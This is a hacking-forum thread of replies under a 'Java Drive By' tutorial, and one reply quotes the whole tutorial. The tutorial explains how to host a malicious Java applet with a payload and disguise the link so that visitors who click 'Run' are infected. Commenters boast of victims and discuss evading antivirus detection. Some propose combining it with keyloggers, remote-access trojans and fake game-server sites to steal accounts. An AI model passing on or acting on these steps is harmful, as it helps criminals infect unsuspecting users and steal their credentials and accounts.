Great tutorial very well written.

aaaaaa - May 31, 2011, 4:39 am

nice tutorial detailed ?

masterbrain - May 31, 2011, 7:20 am

wtf dont scan the rar but the exe i dont trust this shit

Gaklennox - May 31, 2011, 9:02 am

Great TUT man, works perfectly, i love you

Tottygee - May 31, 2011, 9:41 pm

Is the virus already included, I want to use for runescape.

Peelsaven - June 2, 2011, 1:32 pm

you cant see any of the pics anymore?

PiR4cy - June 3, 2011, 7:37 pm

fileave is down..

tshoot

Harpon - June 5, 2011, 2:43 am

the applet java is not FUD, pity :(

hackBoTneT - June 6, 2011, 8:22 am

Your site works.. But what is in the Client?? What type of Virus??

vladTGS - June 8, 2011, 5:16 am

please upload the pic.
because it isnt working

karnival8 - June 20, 2011, 2:19 pm

when i try and run this code, or any similar drive by code i get a windows script host error:

```
winconfig.vbs  
line: 12  
char: 1  
error: write to file failed  
code: 800a0bbc  
source: adodb.stream
```

any ideas why?

henok - June 29, 2011, 5:30 am

this worked

good job men

Iron m@n - June 29, 2011, 6:48 am

Seems to b good...well keep it up =]

artjom16 - June 29, 2011, 7:06 am

the line 16 error.... its because java apple aree detected and the <http://www.fileave.com> acc was suspendet

ksgh - June 29, 2011, 9:54 am

Thanks so much! I just made my first Java Drive by =3

(REATOR - June 29, 2011, 11:52 am

a real good tutorial.Nicely written.

Pietruch - June 29, 2011, 12:02 pm

You pics are down otherwise thanks for the tut

Lion's Den - July 12, 2011, 9:12 pm

Does this still work? Can anyone verify?

Killuminatii - July 18, 2011, 8:36 am

Why does this guy has -20 rep?

I get a error saying (translated from Dutch)

```
script: c:\users\admini`1\appdata\local\temp\winconfig.vbs  
line: 21  
sign: 1  
error: the system could not find the given file
```

code: 80070002
source: (null)

SIM-73089 - July 20, 2011, 1:53 am

Just re-upload the pics without [censored]. other than that its great.

Iron m@n - July 20, 2011, 2:30 pm

N1ce tutorial bro..K33p it up! ?

M0D3M - July 20, 2011, 6:54 pm

Nice tutorial. But you should update the pictures.

VOLTED - July 20, 2011, 9:56 pm

please update pictures [censored] fails

Momz - July 21, 2011, 7:25 am

dude seriously, fuck [censored]. re upload pictures please

Mahdy - July 21, 2011, 7:48 am

Can you re upload the pictures? The images are broken.

Z0z0l3LT - July 21, 2011, 7:52 am

omg, hearing first time about java drive by... this will be verrrryyy useful to me :DDD

Heroes_maker - July 21, 2011, 10:15 am

you have to click yes on the update.exe before you get infected

vn7labs - July 24, 2011, 1:55 am

It worked for me , but i didnt try it on my computer
does it show up a fake error message when the slave
hits run ?

christoffe93 - July 29, 2011, 8:10 am

omg ? i do not know how to thank you enough, i clicked on a link like this before and it hacked my runescape cleared the lot i have now intergrated this with a ardamax keylogger and then you can changed the domain name on a free web hosting site, for example if you are hacking runescape you could name ito something like www. privateserver.co.nr and the stupid people will think they are loading into a free private server ? if you play runescape a lot i would advise you to use this method beats keyloggers from a mile because u dont need to mess about with crypter trying to make them FUD ?, it runs like a java app when you run it for the first time thanks a lot mate.

p.s if anyone wants a ardamax keylogger with keys for free private message me and i will be more than happy to give it you ?

AMAVI - July 30, 2011, 12:02 am

Thanks very much man best guide ever, this is really awesome!

Infinitive - August 3, 2011, 11:47 am

Does it work with Keylogger?

Glitched - August 3, 2011, 12:23 pm

Is the driveby still FUD? Please RE-Up Pictures.

Fly3r - August 7, 2011, 3:33 am

This Java Drive is not FUD no more.

Scott Otis - August 23, 2011, 12:17 pm

Help please? when i try to extract the .rar it doesnt extract the index2

wr4ve3r - August 23, 2011, 1:13 pm

this worked for me fine, ty it took kinda along time, does it show a fake error message when the slave hits rUN?

Ace ? - August 23, 2011, 2:12 pm

Oh this helped me lot... Thanks for the Tutorial

Thief \$ - August 23, 2011, 3:37 pm

Thanks for the Tut... This was really helpful...

scanf - August 23, 2011, 3:48 pm

Great Tut bro! I wanna be like you when i grow up!!!

Iron m@n - August 23, 2011, 5:59 pm

Good tutorial bro..but this images has been deleted :|

Well,THanks 4 Sharing ^_^

tmx666 - August 24, 2011, 4:51 pm

this worked for me fine..!!! Great Tut..

Thank you

Regards

majestikmodzz - August 24, 2011, 4:55 pm

didnt work for me my rat is prob broken

DataBus - August 25, 2011, 2:16 pm

i cant upload to fileave it always says faild i cant upload nothing

Raw. - August 25, 2011, 3:23 pm

good tutorial, but you should fix the pics..

The Monetizer - September 2, 2011, 10:20 am

does anyone know a FUD java drive by? or at least something that is not 29/44?

i can live with 3/44 ;]

Please PM me if you have it ;]

marra_x10 - September 3, 2011, 1:44 pm

(Aug 25, 2011 02:16 PM)Yasimuri Wrote: [\[CITE\]](#) i cant upload to fileave it always says faild i cant upload nothing

that's the same for me too, i cant even connect to the site its been the same for days i'm beginning to think its just me sometimes i can connect but its really slow and i cant even get through the part to register with the site throwing up a error, are there any alternatives i could use i did try and set it up at byethhost2.com but im not sure if its me or not but it shows the cam loading and asks you to

confirm java etc then asks about the client dosent download.

edit: i just tried using ie instead of chrome and it was still slow but i managed to get through it and if you end up in the same position dont wait for the confirmation email it aint coming you can sign in straight after.

-Joker- - September 10, 2011, 5:54 am

lol theres virus in those?
35535353553535353533

begin_Crank - September 28, 2011, 12:11 pm

Can anyone help me because I am a beginner and you say that i must upload the virus i will ?
I will upload e keylogger to hack msn fb etc.. can i do this ?

Nixus606 - September 30, 2011, 8:44 am

Thanks for the share bro :) bookmarked!
Keep it up with that

M1sT1K - September 30, 2011, 9:50 am

I will upload e keylogger to hack msn fb etc.. can i do this ?
no, you can't.
you can only upload your RAT's virus (for ex: CyberGate, DarkComet...)

Devil EDM - October 7, 2011, 5:13 pm

Thank you man, I'm about to try this out, I'll let you know how it goes!!

anon19 - October 13, 2011, 1:06 am

When I get to running the Java applet, it says it is incompatible with 64-bit versions of Windows. Any fixes?

Dudgeoned1 - October 14, 2011, 5:39 pm

Interesting tutorial, I can't believe it's so easy to infect someone on the internet these days. A little SE and you got lots of easy new victims. You could even run a bot in a chat getting all kinds of dumb guys thinking it was a free webcam site or something lol

CRT - October 15, 2011, 4:46 am

Great tutorial man, helpful for many people.

s3rver.exe - October 15, 2011, 4:56 am

Nice TUT man you should update the Pics cz they aint working

phil.swe - October 20, 2011, 1:57 am

Too bad fileave is down ? I got about 20 vic's with this method. Pretty good tutorial ! Thank you very much !

Ancient Rat © - October 20, 2011, 10:49 am

Yeah Fileave , RiWay Etc are down i wish to find other Hosting Website..

phil.swe - October 20, 2011, 12:46 pm

Is this java applet fud, its prob outdated...

Odb - October 25, 2011, 12:54 pm

Does anyone know how to make it go to another page on install or refresh with a slideshow?

JasonFlinn - October 25, 2011, 10:38 pm

(Oct 25, 2011 12:54 PM)Odb Wrote: [\[CITE\]](#) Does anyone know how to make it go to another page on install or refresh with a slideshow?

If it's a RAT server, most likely within the RAT itself you will have the option to connect your victim to a website upon them opening it.

So it's not what you're talking about... but it would probably work just the same xP

Feel free to PM me if you have no idea what I'm talking about :P

TheM4S7ER - November 1, 2011, 4:31 pm

Worked for me, though i used drivehq instead of fileave and i also edited the index2 in notepad before uploading...also i hosted my server on uploadvillage, because i didn't want it on the same place as the rest of the files to prevent the account getting banned. Overall I'd say this was a very helpful tutorial though. I found it to be concise and easy to follow, and got to the point right away with no frills. I'm pretty satisfied.

xxxjonatan - November 5, 2011, 7:06 pm

Fileave doesn't work.. does anyone know any other good hosting sites?

YMCMB™ - November 5, 2011, 7:21 pm

this one is good: <https://hackforums.net/showthread.php?tid=1920615>

thestyle - December 22, 2011, 12:28 pm

ok i done every think but i got problem i use my ozak.org and when i upload all files and rat and pass link to index2.html it dosent work i need to use lagedocument so that works but its take long till window pop up and only update one open when i click it its work but like i sey its take 10 to 15s to pop up so did i miss somethink or thats normal??

o and victom need to have java install so thats work???

plz help me with that.Tnx

DeMoN RuNz ChRiSTy - December 22, 2011, 12:29 pm

ty hi i hacjk indain i aindian i hack

SnipezUk - December 24, 2011, 3:53 pm

very well made guide ! =D I have a question what happens after someone clicks "run" and they then get infected how can you then hack them for stuff ?

KirstyWH - January 30, 2012, 5:53 pm

im getting an error when I run this saying the URL does not use a recognised protocol. anyone knows whats wrong? this does work on windows right?

n00b-6e-6f-74 - February 24, 2012, 9:01 pm

Anyone having this tutorial but with newer date?

Most of the link provided in the first page are gone.

shade917 - February 24, 2012, 11:16 pm

I have never really tried to do this but from the steps that you posted seems to be really simple and easy and for that i think i might just try it later on

Ghost Protocol - February 24, 2012, 11:42 pm

very well written tutorial.. :) thanks

moordact - February 25, 2012, 1:00 am

still works?

and the applet is down

h4r3 - March 12, 2012, 7:27 am

Multiupload dont work grr woot ://

ComplexYo - March 12, 2012, 7:32 am

The Java drive-by seems to be very outdated.

KS17 - March 12, 2012, 7:48 am

It is outdated, people need to stop posting :P All pictures are down, and pretty much all websites he has listed are down. This tutorial wont work anymore, hopefully this can get closed or people stop posting maybe. -.-

Warrior™ - March 17, 2012, 11:13 pm

hello fileave.com is not to open and i m using SPAM.com but its not ot work acn you suggest any subtiute for fileave.com

thanks in advance

The.Prince - March 18, 2012, 12:18 am

thanks for the share , it looks nice .

dr.bob - March 20, 2012, 7:23 am

nice one bro thank's for the information.

???? - March 21, 2012, 7:03 am

Nice TUT mate but is it still working hope yes

iFat32 - March 21, 2012, 8:09 am

Great Tutorial if this working awesome !!! ;) THX !!!

fox0wnage - March 22, 2012, 9:13 pm

Very good tutorial. Useful and efficient. Thanks very much :P

pk to La - March 27, 2012, 6:52 am

File ave is offline Toshottopost!@12

Erban - March 29, 2012, 3:21 pm

is it still working? i hope yes

this thread is 2 years old dumb asses

chillichilli - April 3, 2012, 10:36 am

can some1 link a working download link please?

preetam.kondekar - April 3, 2012, 1:07 pm

seems to be great tut.. thanks for the share buddy... will check this out.

fakoykas - April 3, 2012, 1:10 pm

Awesome tutorial, i will be sure to check it out, thank you :)

hhacker - April 3, 2012, 1:22 pm

=\$ this is a little old the java drive by applet but good tuto => if you have a silent java drive please pm me =>

mastermansachin - April 3, 2012, 2:02 pm

nice dude.

I will try it tommorow..

hellman2741 - April 3, 2012, 4:06 pm

Thanks bro, can you update the pictures though.

DMMF - July 5, 2012, 8:57 pm

and the link, I know its 2 years old :(

candid474 - July 10, 2012, 11:47 pm

Awesome tutorial, i will be sure to check it out, thank you good work

vasilisth123456789 - July 11, 2012, 12:02 am

Can someone send me the client? Thank you in advance!

Zbnt - August 9, 2012, 2:15 pm

nice tut bro really helped me out thanks :)

KayleenEm - August 14, 2012, 8:10 pm

I've tried every java driveby tutorial on HF and this is the message I get repeatedly: This file does not exist, the access to the following file is limited or it has been removed due to infringement of copyright.

Does no one use drop box anymore?

apaczkrk - September 2, 2012, 1:40 pm

Very good tutorial :) Nice....

Does fileave.com is work ?? Beacouse me no work :(

frontman03 - September 5, 2012, 11:24 am

I had the hardest time with my ports. This is nice though, thanks.

Bloodvenom - September 5, 2012, 11:45 am

Great guide, worked for me totally awesome!

Sad this member is closed

malw0rm - September 5, 2012, 1:51 pm

Nice tutorial but it's not working for me.

Scripting12334 - September 5, 2012, 4:17 pm

I love your tutorial thanks for posting this

janlebogoss - September 6, 2012, 2:04 pm

i odnt see the tutu pictures ? can u upload them good ? pls

iXeonz - November 4, 2012, 10:30 am

Perfect! Thanks! =) Can you reupload your images though?

theokey - November 6, 2012, 12:17 pm

theres ni sign up option on file eve wtf !!

youga - November 6, 2012, 2:14 pm

Thank you very good I'm very happy I love, thank you

unlit - November 6, 2012, 3:18 pm

y0, thanks so much for this bro! :D

sb7766 - November 7, 2012, 2:07 pm

This is a little harder to do than I expected. But it works!

Correspond - November 7, 2012, 2:39 pm

kinda out dated please update the links other than that good tut :P

AnnoyHacks - November 7, 2012, 3:39 pm

i opened yours in a browser, but it didnt ask me to run anything.. ima noob, pm me if u will have all my details?

sandman1234 - November 23, 2012, 2:38 pm

Nice tut. Definitely useful to all. Nice share bro.

Flip™ - November 27, 2012, 12:00 pm

Great tutorial! I will try this later.

Lockedup99 - November 28, 2012, 4:07 am

Thank you hope it will work for me

very nice job Bro

DreierXXL - November 28, 2012, 6:11 am

nice one it works great for me thanks for sharing ?

Shiroyasha - December 1, 2012, 7:48 pm

anyone still has got Java applet link or files ?

Please PM me

Omanyte - December 4, 2012, 10:41 am

Awesome tutorial! Really worked :)! will probably check this out later

grizzly666 - December 4, 2012, 12:36 pm

Can you update the links etc.?

Thanks in advance!

richiss972 - December 4, 2012, 1:59 pm

Same thing. Can you update the links?

Thanks

sofiastb16 - December 28, 2012, 4:00 pm

thanks! great tutorial. can you please update the link ? the current one does not work.

michelle44 - January 15, 2013, 12:28 pm

Thanks !!! it's very interesting...

TripleLow8 - January 23, 2013, 5:45 pm

I've tried java drive by's on some sites with over 10k visitors daily but never got many slaves, any idea why?

¹³³⁷ - January 23, 2013, 11:03 pm

i have try like 10 guide jbd and never working for me..

jjake903 - January 29, 2013, 11:51 am

Great Tut! This helped me a lot thank you!

Swatnet - January 29, 2013, 12:00 pm

(Mar 7, 2010 03:02 PM)ultimato Wrote: [\[CITE\]](#) Java Drive By Tutorial By Ultimato

This is a complete Tutorial on how to setup the java drive by applet !

Step One

Sign up at:

<http://fileave.com>

Step Two

Download the java applet here:

<http://www.multiupload.com/FI90XXVIAW>

Its safe check for yourself:

Panda - -

Solo - -

TrendMicro - -

VBA32 - -

VirusBuster - -

Zoner - -

Scan report generated by

NoVirusThanks.org

and unzip the file with Winrar

Step Three

Upload the files needed for the setup (All the files inside the Java Applet file + the virus you want to spread)

How to upload your virus you want to spread

1: Login on <http://fileave.com>

2: Click on "Files" [IMG][http://i49.\[censored\].com/fylfms.png](http://i49.[censored].com/fylfms.png)[/IMG]

3: Click on "Upload Files" [IMG][http://i46.\[censored\].com/108h3xx.png](http://i46.[censored].com/108h3xx.png)[/IMG]

4: Select all the files from the java applet you downloaded + the virus you are going to spread and press "Upload"

5: after that is done return to your files and it should look like this:

[IMG][http://i49.\[censored\].com/2zq4wsp.png](http://i49.[censored].com/2zq4wsp.png)[/IMG]

Step Four

First Copy your link from your virus MAKE SURE YOU COPY YOUR OWN LINK FROM THE FILE YOU WANT TO SPREAD NOT THE ONE FROM THIS PICTURE!!!

[IMG]http://i45.[censored].com/u1sg8.png[/IMG]

After you copied that URL go back to your files again and Press "Edit" from your "Index2.html"

[IMG]http://i46.[censored].com/15qexoi.png[/IMG]

Something like this will show up

[IMG]http://i49.[censored].com/of4nx5.png[/IMG]

there are 2 things saying "YOUR URL HERE" (you only see 1 on the picture but when you scroll to the left there is another one!)

[IMG]http://i49.[censored].com/33acqah.png[/IMG]

AND

[IMG]http://i47.[censored].com/2ngc2gx.png[/IMG]

Once you replaced them press "Save" And you automatically return to your files!

Step Five

Now your java applet should WORK simply press on your "Index.html" and it will load and a screen will popup [IMG]http://i45.[censored].com/21jn31k.png[/IMG]

If you press "Run" You will get infected with the virus!

Step Six

The URL to the Applet looks something like this

[IMG]http://i46.[censored].com/9jm0yp.png[/IMG]

Copy the URL and go to:

<http://dot.tk>

Put your URL in there and press Next (were it says "Volgende" on the picture but im Dutch)

CLICK THE URL TO OPEN THE LAST 2 PICTURES, I CAN ONLY HAVE 10 PICTURES UPLOADED IN 1 THREAD AND I HAVE 12 SO JUST CLICK THE LAST 2 PICTURES BY YOURSELF!

http://i47.[censored].com/jjbs53.png

Now change the name into whatever you want!

http://i47.[censored].com/2i8kgy8.png

As you can see i changed it into blabla123.tk

fill in the Captcha and scroll down and click on "Confirm" there is no need to press on "Next" because the site will also work without a email!

Step Seven

SUCCESS !!! if you go to the website you changed the URL into (mine is blabla123.tk) it will go to your Applet!!

Enjoy!!!!

IF YOU LEECH MY TUTORIAL MAKE SURE YOU GIVE ME CREDITS!!!

Great tut works and pretty easy too!

SIM-1562658 - January 31, 2013, 2:49 am

Scary how easy it is. Great tut but the links needs updating.

FreeBSD - January 31, 2013, 3:53 am

Cool. It works for me! Thanks man! Great tut!

ztefanbel - March 3, 2013, 12:10 pm

Hi, link to java applet is not working.. please help

anewbis - April 15, 2013, 3:42 pm

interdasting. always heard about this, but never saw the proof of concept. thanks.

MaleficentPanda - April 16, 2013, 2:41 am

Great tutorial overall but...

"http://fileave.com" doesn't work so please update :)

kift11 - April 28, 2013, 12:57 pm

cool man thx for the tutorial .

cool man thx for the tutorial .

cool man thx for the tutorial .

morket - May 16, 2013, 9:16 am

Good one! Helped me. Thanks, man. Keep it up, good job

Famous Dexter - July 6, 2013, 12:35 am

niice thanks man your doing good as a thread starter... great work mentally and physically

zdevi - July 6, 2013, 1:18 am

Nice interesting tutorial. It helped me a lot

SuckeZ - August 5, 2013, 6:50 am

this file is not available in ure geo location... i hate that... pm it to me or upload it to another hoster pls. thanks bro

TheDarkShadow - August 5, 2013, 11:52 am

nice tutorial! very useful... it helps me a lot

Firef4rt - August 8, 2013, 2:11 am

Thx for this TUT

Please check the date before posting.

Dayna - May 2, 2015, 9:31 am

Does this still work? I was under the impression java drive bys were patched

Sourhead420 - May 2, 2015, 12:25 pm

(May 2, 2015 09:31 AM)Dayna Wrote: [\[CITE\]](#) Does this still work? I was under the impression java drive bys were patched

i was wondering the same thing... ive been told its been patched over... if anyone with experience knows can you pm me??

Cha0 - May 2, 2015, 12:26 pm

Java drive bys haven't been patched.

Google simply stopped supporting Java in general in their browser, making this a terrible spreading method.

CraftyDan - May 2, 2015, 12:27 pm

Nice bro. Thanks for the post.

FI0werp0wer_ - May 26, 2015, 7:37 am

Nice tut,

Helped me alot! :)

?Fetz? - May 26, 2015, 8:15 am

Download seems to be broken for me. Anyone got a good download?

ju7i3n - May 26, 2015, 10:46 am

Java drive by still working ?

KryptLik - September 29, 2015, 7:44 am

i don't think java drive by still working it's kind of old

lokuas255 - September 30, 2015, 11:11 pm

cool got a test this gracias hermano por tu aporte muy interesante

Kiddie - February 14, 2016, 7:56 am

The link is down. can anyone upload the exploit?

dafr34k - February 22, 2016, 12:01 pm

wow! that's a great tutorial bro, thank you very very much.....

Mr Kewl - February 22, 2016, 12:02 pm

The thread is very outdated. Closing it as OP can't update it.
